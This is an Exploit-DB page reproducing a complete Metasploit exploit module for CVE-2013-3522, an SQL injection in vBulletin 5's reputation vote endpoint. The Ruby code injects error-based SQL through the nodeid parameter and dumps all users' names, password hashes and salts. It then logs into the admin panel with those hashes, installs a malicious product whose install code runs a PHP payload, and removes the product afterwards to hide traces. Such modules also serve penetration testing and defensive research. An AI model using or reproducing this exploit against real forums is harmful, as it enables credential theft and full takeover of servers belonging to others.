vBulletin 5 - index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection



EDB-ID: 30212 CVE: 2013-3522 OSVDB-ID: 92031
Author: metasploit Published: 2013-12-11 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

Rating

(0.0)
Screenshot
Prev Home Next
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability found in vBulletin 5 that has
        been used in the wild since March 2013. This module uses the sqli to extract the
        web application's usernames and hashes. With the retrieved information tries to
        log into the admin control panel in order to deploy the PHP payload. This module
        has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu
        Linux distribution.
      },
      'Author'         =>
        [
          'Orestis Kourides', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-3522' ],
          [ 'OSVDB', '92031' ],
          [ 'EDB', '24882' ],
          [ 'BID', '58754' ],
          [ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 10000 # Just value big enough to fit any php payload
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'vBulletin 5.0.0 Beta 11-28', { }]],
      'DisclosureDate' => 'Mar 25 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),
        OptInt.new("NODE", [false, 'Valid Node ID']),
        OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),
        OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])
      ], self.class)
  end

  def exists_node?(id)
    mark = rand_text_alpha(8 + rand(5))
    result = do_sqli(id, "select '#{mark}'")

    if result and result =~ /#{mark}/
      return true
    end

    return false
  end

  def brute_force_node
    min = datastore["MINNODE"]
    max = datastore["MAXNODE"]

    if min > max
      print_error("#{peer} - MINNODE can't be major than MAXNODE")
      return nil
    end

    for node_id in min..max
      if exists_node?(node_id)
        return node_id
      end
    end

    return nil
  end

  def get_node
    if datastore['NODE'].nil? or datastore['NODE'] <= 0
      print_status("#{peer} - Brute forcing to find a valid node id...")
      return brute_force_node
    end

    print_status("#{peer} - Checking node id #{datastore['NODE']}...")
    if exists_node?(datastore['NODE'])
      return datastore['NODE']
    else
      return nil
    end
  end

  def do_sqli(node, query)
    mark = Rex::Text.rand_text_alpha(5 + rand(3))
    random_and = Rex::Text.rand_text_numeric(4)
    injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "
    injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "
    injection << "AND (#{random_and}=#{random_and}"

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),
      'vars_post' =>
        {
          'nodeid'  => "#{node}#{injection}",
        }
      })

    unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/
      return nil
    end

    data = ""

    if res.body.to_s =~ /#{mark}(.*)#{mark}/
      data = $1
    end

    return data
  end

  def get_user_data(node_id, user_id)
    user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")
    pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")
    salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")

    return [user, pass, salt]
  end

  def do_login(user, hash)
    res = send_request_cgi({
      'uri'           => normalize_uri(target_uri.path, "login.php"),
      'method'        => 'POST',
      'encode_params' => false,
      'vars_get'      => {
        'do' => 'login'
      },
      'vars_post'     => {
        'url'                      => '%2Fadmincp%2F',
        'securitytoken'            => 'guest',
        'logintype'                => 'cplogin',
        'do'                       => 'login',
        'vb_login_md5password'     => hash,
        'vb_login_md5password_utf' => hash,
        'vb_login_username'        => user,
        'vb_login_password'        => '',
        'cssprefs'                 => ''
      }
    })

    if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie']
      session = res.get_cookies
    else
      return nil
    end

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, "admincp", "/"),
      'cookie' => session
    })

    if res and res.code == 200 and res.body and res.body.to_s =~ /<title>Forums Admin Control Panel<\/title>/
      return session
    else
      return nil
    end

  end

  def get_token(response)
    token_info = {
      :session_hash => "",
      :security_token => "",
      :admin_hash => ""
    }

    if response =~ /var SESSIONHASH = "([0-9a-f]+)";/
      token_info[:session_hash] = $1
    end

    if response =~ /var ADMINHASH = "([0-9a-f]+)";/
      token_info[:admin_hash] = $1
    end

    if response =~ /var SECURITYTOKEN = "([0-9a-f\-]+)";/
      token_info[:security_token] = $1
    end

    return token_info
  end

  def get_install_token
    res = send_request_cgi({
      "uri"      => normalize_uri(target_uri.path, "admincp", "product.php"),
      "vars_get" => {
        "do" => "productadd"
      },
      "cookie"   => @session
    })

    unless res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/
      return nil
    end


    return get_token(res.body.to_s)
  end

  def install_product(token_info)

    xml_product = <<-EOF
<?xml version="1.0" encoding="ISO-8859-1"?>

<product productid="#{@product_id}" active="0">
  <title>#{@product_id}</title>
  <description>#{@product_id}</description>
  <version>1.0</version>
  <url>http://#{@product_id}.loc</url>
  <versioncheckurl>http://#{@product_id}.loc/version.xml</versioncheckurl>
  <dependencies>
    <dependency dependencytype="vbulletin" minversion="" maxversion="" />
  </dependencies>
  <codes>
    <code version="*">
      <installcode>
        <![CDATA[
        #{payload.encoded}
        ]]>
      </installcode>
      <uninstallcode />
    </code>
  </codes>
  <templates>
  </templates>
  <stylevardfns>
  </stylevardfns>
  <stylevars>
  </stylevars>
  <hooks>
  </hooks>
  <phrases>
  </phrases>
  <options>
  </options>
  <helptopics>
  </helptopics>
  <cronentries>
  </cronentries>
  <faqentries>
  </faqentries>
  <widgets>
  </widgets>
</product>
    EOF

    post_data = Rex::MIME::Message.new
    post_data.add_part(token_info[:session_hash], nil, nil, "form-data; name=\"s\"")
    post_data.add_part("productimport", nil, nil, "form-data; name=\"do\"")
    post_data.add_part(token_info[:admin_hash], nil, nil, "form-data; name=\"adminhash\"")
    post_data.add_part(token_info[:security_token], nil, nil, "form-data; name=\"securitytoken\"")
    post_data.add_part(xml_product, "text/xml", nil, "form-data; name=\"productfile\"; filename=\"product_juan2.xml\"")
    post_data.add_part("", nil, nil, "form-data; name=\"serverfile\"")
    post_data.add_part("1", nil, nil, "form-data; name=\"allowoverwrite\"")
    post_data.add_part("999999999", nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")

    # Work around an incompatible MIME implementation
    data = post_data.to_s
    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")

    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'method'   => "POST",
      'ctype'    => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productimport"
      },
      'data'     => data
    })

    if res and res.code == 200 and res.body and res.body.to_s =~ /Product #{@product_id} Imported/
      return true
    elsif res
      fail_with(Failure::Unknown, "#{peer} - Error when trying to install the product.")
    else
      return false
    end

  end

  def get_delete_token
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productdelete",
        "productid" => @product_id,
        "s" => @session_hash
      }
    })

    if res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/
      return get_token(res.body.to_s)
    end

    return nil
  end

  def delete_product(token_info)
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'method'   => "POST",
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productkill"
      },
      'vars_post' => {
        "s"             => token_info[:session_hash],
        "do"            => "productkill",
        "adminhash"     => token_info[:admin_hash],
        "securitytoken" => token_info[:security_token],
        "productid"     => @product_id
      }
    })

    if res and res.code == 200 and res.body.to_s =~ /Product #{@product_id} Uninstalled/
      return true
    end

    return false
  end

  def check
    node_id = get_node

    unless node_id.nil?
      return Msf::Exploit::CheckCode::Vulnerable
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "index.php")
    })

    if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
      return Msf::Exploit::CheckCode::Detected
    end

    return Msf::Exploit::CheckCode::Unknown
  end

  def on_new_session(session)
    print_status("#{peer} - Getting the uninstall token info...")
    delete_token = get_delete_token
    if delete_token.nil?
      print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")
      return
    end

    print_status("#{peer} - Deleting the product #{@product_id}...")
    if delete_product(delete_token)
      print_good("#{peer} - Product #{@product_id} deleted")
    else
      print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")
    end
  end

  def exploit
    print_status("#{peer} - Checking for a valid node id...")
    node_id = get_node
    if node_id.nil?
      print_error("#{peer} - node id not found")
      return
    end

    print_good("#{peer} - Using node id #{node_id} to exploit sqli... Counting users...")
    data = do_sqli(node_id, "select count(*) from user")
    if data.empty?
      print_error("#{peer} - Error exploiting sqli")
      return
    end
    count_users = data.to_i
    users = []
    print_good("#{peer} - #{count_users} users found")

    for i in 0..count_users - 1
      user = get_user_data(node_id, i)
      report_auth_info({
        :host => rhost,
        :port => rport,
        :user => user[0],
        :pass => user[1],
        :type => "hash",
        :sname => (ssl ? "https" : "http"),
        :proof => "salt: #{user[2]}" # Using proof to store the hash salt
      })
      users << user
    end

    @session = nil
    users.each do |user|
      print_status("#{peer} - Trying to log into vBulletin admin control panel as #{user[0]}...")
      @session = do_login(user[0], user[1])
      unless @session.blank?
        print_good("#{peer} - Logged in successfully as #{user[0]}")
        break
      end
    end

    if @session.blank?
      fail_with(Failure::NoAccess, "#{peer} - Failed to log into the vBulletin admin control panel")
    end

    print_status("#{peer} - Getting the install product security token...")
    install_token = get_install_token
    if install_token.nil?
      fail_with(Failure::Unknown, "#{peer} - Failed to get the install token")
    end

    @session_hash = install_token[:session_hash]
    @product_id = rand_text_alpha_lower(5 + rand(8))
    print_status("#{peer} - Installing the malicious product #{@product_id}...")
    if install_product(install_token)
      print_good("#{peer} - Product successfully installed... payload should be executed...")
    else
      # Two situations trigger this path:
      # 1) Upload failed but there wasn't answer from the server. I don't think it's going to happen often.
      # 2) New session, for exemple when using php/meterpreter/reverse_tcp, the common situation.
      # Because of that fail_with isn't used here.
      return
    end

    print_status("#{peer} - Getting the uninstall token info...")
    delete_token = get_delete_token
    if delete_token.nil?
      print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")
      return
    end

    print_status("#{peer} - Deleting the product #{@product_id}...")
    if delete_product(delete_token)
      print_good("#{peer} - Product #{@product_id} deleted")
    else
      print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")
    end

  end


end